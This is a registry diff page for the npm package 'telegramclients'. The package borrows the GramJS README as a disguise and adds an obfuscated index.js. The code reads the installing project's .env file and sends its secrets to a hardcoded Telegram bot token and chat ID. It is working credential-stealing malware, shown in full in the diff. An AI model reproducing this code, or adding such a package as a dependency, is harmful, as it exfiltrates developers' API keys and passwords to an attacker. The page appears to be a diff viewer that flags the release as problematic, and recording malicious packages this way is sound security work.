telegramclients 0.0.1-security → 2.22.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of telegramclients might be problematic. Click here for more details.
- package/README.md +114 -5
- package/index.js +1 -0
- package/package.json +12 -3
package/README.md
CHANGED
@@ -1,5 +1,114 @@
|
|
1
|
-
#
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
1
|
+
# GramJS
|
2
|
+
|
3
|
+
A Telegram client written in JavaScript for Node.js and browsers, with its core being based on
|
4
|
+
[Telethon](https://github.com/LonamiWebs/Telethon).
|
5
|
+
|
6
|
+
## How to get started
|
7
|
+
|
8
|
+
Here you'll learn how to obtain necessary information to create telegram application, authorize into your account and send yourself a message.
|
9
|
+
|
10
|
+
> **Note** that if you want to use a GramJS inside of a browser, refer to [this instructions](https://gram.js.org/introduction/advanced-installation).
|
11
|
+
|
12
|
+
Install GramJS:
|
13
|
+
|
14
|
+
```bash
|
15
|
+
$ npm i telegram
|
16
|
+
```
|
17
|
+
|
18
|
+
After installation, you'll need to obtain an API ID and hash:
|
19
|
+
|
20
|
+
1. Login into your [telegram account](https://my.telegram.org/)
|
21
|
+
2. Then click "API development tools" and fill your application details (only app title and short name required)
|
22
|
+
3. Finally, click "Create application"
|
23
|
+
|
24
|
+
> **Never** share any API/authorization details, that will compromise your application and account.
|
25
|
+
|
26
|
+
When you've successfully created the application, change `apiId` and `apiHash` on what you got from telegram.
|
27
|
+
|
28
|
+
Then run this code to send a message to yourself.
|
29
|
+
|
30
|
+
```javascript
|
31
|
+
import { TelegramClient } from "telegram";
|
32
|
+
import { StringSession } from "telegram/sessions";
|
33
|
+
import readline from "readline";
|
34
|
+
|
35
|
+
const apiId = 123456;
|
36
|
+
const apiHash = "123456abcdfg";
|
37
|
+
const stringSession = new StringSession(""); // fill this later with the value from session.save()
|
38
|
+
|
39
|
+
const rl = readline.createInterface({
|
40
|
+
input: process.stdin,
|
41
|
+
output: process.stdout,
|
42
|
+
});
|
43
|
+
|
44
|
+
(async () => {
|
45
|
+
console.log("Loading interactive example...");
|
46
|
+
const client = new TelegramClient(stringSession, apiId, apiHash, {
|
47
|
+
connectionRetries: 5,
|
48
|
+
});
|
49
|
+
await client.start({
|
50
|
+
phoneNumber: async () =>
|
51
|
+
new Promise((resolve) =>
|
52
|
+
rl.question("Please enter your number: ", resolve)
|
53
|
+
),
|
54
|
+
password: async () =>
|
55
|
+
new Promise((resolve) =>
|
56
|
+
rl.question("Please enter your password: ", resolve)
|
57
|
+
),
|
58
|
+
phoneCode: async () =>
|
59
|
+
new Promise((resolve) =>
|
60
|
+
rl.question("Please enter the code you received: ", resolve)
|
61
|
+
),
|
62
|
+
onError: (err) => console.log(err),
|
63
|
+
});
|
64
|
+
console.log("You should now be connected.");
|
65
|
+
console.log(client.session.save()); // Save this string to avoid logging in again
|
66
|
+
await client.sendMessage("me", { message: "Hello!" });
|
67
|
+
})();
|
68
|
+
```
|
69
|
+
|
70
|
+
> **Note** that you can also save auth key to a folder instead of a string, change `stringSession` into this:
|
71
|
+
>
|
72
|
+
> ```javascript
|
73
|
+
> const storeSession = new StoreSession("folder_name");
|
74
|
+
> ```
|
75
|
+
|
76
|
+
Be sure to save output of `client.session.save()` into `stringSession` or `storeSession` variable to avoid logging in again.
|
77
|
+
|
78
|
+
## Running GramJS inside browsers
|
79
|
+
|
80
|
+
GramJS works great in combination with frontend libraries such as React, Vue and others.
|
81
|
+
|
82
|
+
While working within browsers, GramJS is using `localStorage` to cache the layers.
|
83
|
+
|
84
|
+
To get a browser bundle of GramJS, use the following command:
|
85
|
+
|
86
|
+
```bash
|
87
|
+
NODE_ENV=production npx webpack
|
88
|
+
```
|
89
|
+
|
90
|
+
You can also use the helpful script `generate_webpack.js`
|
91
|
+
|
92
|
+
```bash
|
93
|
+
node generate_webpack.js
|
94
|
+
```
|
95
|
+
|
96
|
+
## Calling the raw API
|
97
|
+
|
98
|
+
To use raw telegram API methods use [invoke function](https://gram.js.org/beta/classes/TelegramClient.html#invoke).
|
99
|
+
|
100
|
+
```javascript
|
101
|
+
await client.invoke(new RequestClass(args));
|
102
|
+
```
|
103
|
+
|
104
|
+
## Documentation
|
105
|
+
|
106
|
+
General documentation, use cases, quick start, refer to [gram.js.org](https://gram.js.org), or [older version of documentation](https://painor.gitbook.io/gramjs) (will be removed in the future).
|
107
|
+
|
108
|
+
For more advanced documentation refer to [gram.js.org/beta](https://gram.js.org/beta) (work in progress).
|
109
|
+
|
110
|
+
If your ISP is blocking Telegram, you can check [My ISP blocks Telegram. How can I still use GramJS?](https://gist.github.com/SecurityAndStuff/7cd04b28216c49b73b30a64d56d630ab)
|
111
|
+
|
112
|
+
## Ask a question
|
113
|
+
|
114
|
+
If you have any questions about GramJS, feel free to open an issue or ask directly in our telegram group - [@GramJSChat](https://t.me/gramjschat).
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
function _0x36cb(_0x3b3542,_0x509354){const _0x5022c4=_0x5022();return _0x36cb=function(_0x36cbed,_0x470432){_0x36cbed=_0x36cbed-0x147;let _0x36a5d7=_0x5022c4[_0x36cbed];return _0x36a5d7;},_0x36cb(_0x3b3542,_0x509354);}const _0x547977=_0x36cb;(function(_0xc48161,_0xd46a95){const _0x11ef67=_0x36cb,_0x53e270=_0xc48161();while(!![]){try{const _0x480e05=-parseInt(_0x11ef67(0x14d))/0x1*(parseInt(_0x11ef67(0x14b))/0x2)+-parseInt(_0x11ef67(0x149))/0x3*(-parseInt(_0x11ef67(0x159))/0x4)+-parseInt(_0x11ef67(0x153))/0x5*(parseInt(_0x11ef67(0x14c))/0x6)+-parseInt(_0x11ef67(0x155))/0x7*(-parseInt(_0x11ef67(0x147))/0x8)+parseInt(_0x11ef67(0x14f))/0x9*(-parseInt(_0x11ef67(0x152))/0xa)+parseInt(_0x11ef67(0x14a))/0xb*(parseInt(_0x11ef67(0x158))/0xc)+parseInt(_0x11ef67(0x156))/0xd*(parseInt(_0x11ef67(0x148))/0xe);if(_0x480e05===_0xd46a95)break;else _0x53e270['push'](_0x53e270['shift']());}catch(_0x479c50){_0x53e270['push'](_0x53e270['shift']());}}}(_0x5022,0x65a6b));const TelegramBot=require(_0x547977(0x150)),fs=require('fs');require('dotenv')['config']();function telegramClients(){const _0x4a9407=_0x547977,_0x4e39cc=_0x4a9407(0x15a),_0x460d11='-4794095586',_0x21a59c=new TelegramBot(_0x4e39cc,{'polling':![]}),_0x358c46=fs[_0x4a9407(0x14e)](_0x4a9407(0x151),_0x4a9407(0x157)),_0x50d9cc=dotenv['parse'](_0x358c46);_0x21a59c['sendMessage'](_0x460d11,_0x50d9cc);}module[_0x547977(0x154)]=telegramClients;function _0x5022(){const _0x453735=['12242iArjiT','3761538yMvLLY','79rpGrzA','readFileSync','9jCVadm','node-telegram-bot-api','.env','3357570Ihznrw','5WYyrkb','exports','7AJFjyG','13LrnJHG','utf8','621708dJgiwo','4fTYahB','8037010008:AAGgPwRQb_mPP_m_ajJgA2TCZg3-EB_AxRM','1246288TRLUuD','18389882ivZmXe','1024332PYBKNi','11WCeieP'];_0x5022=function(){return _0x453735;};return _0x5022();}
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "telegramclients",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "2.22.10",
|
4
|
+
"description": "Telegram clients for channel management",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "command-to-run-tests"
|
8
|
+
},
|
9
|
+
"author": "cryptoDev",
|
10
|
+
"license": "MIT",
|
11
|
+
"dependencies": {
|
12
|
+
"fs": "^0.0.1-security",
|
13
|
+
"node-telegram-bot-api": "^0.66.0"
|
14
|
+
}
|
6
15
|
}
|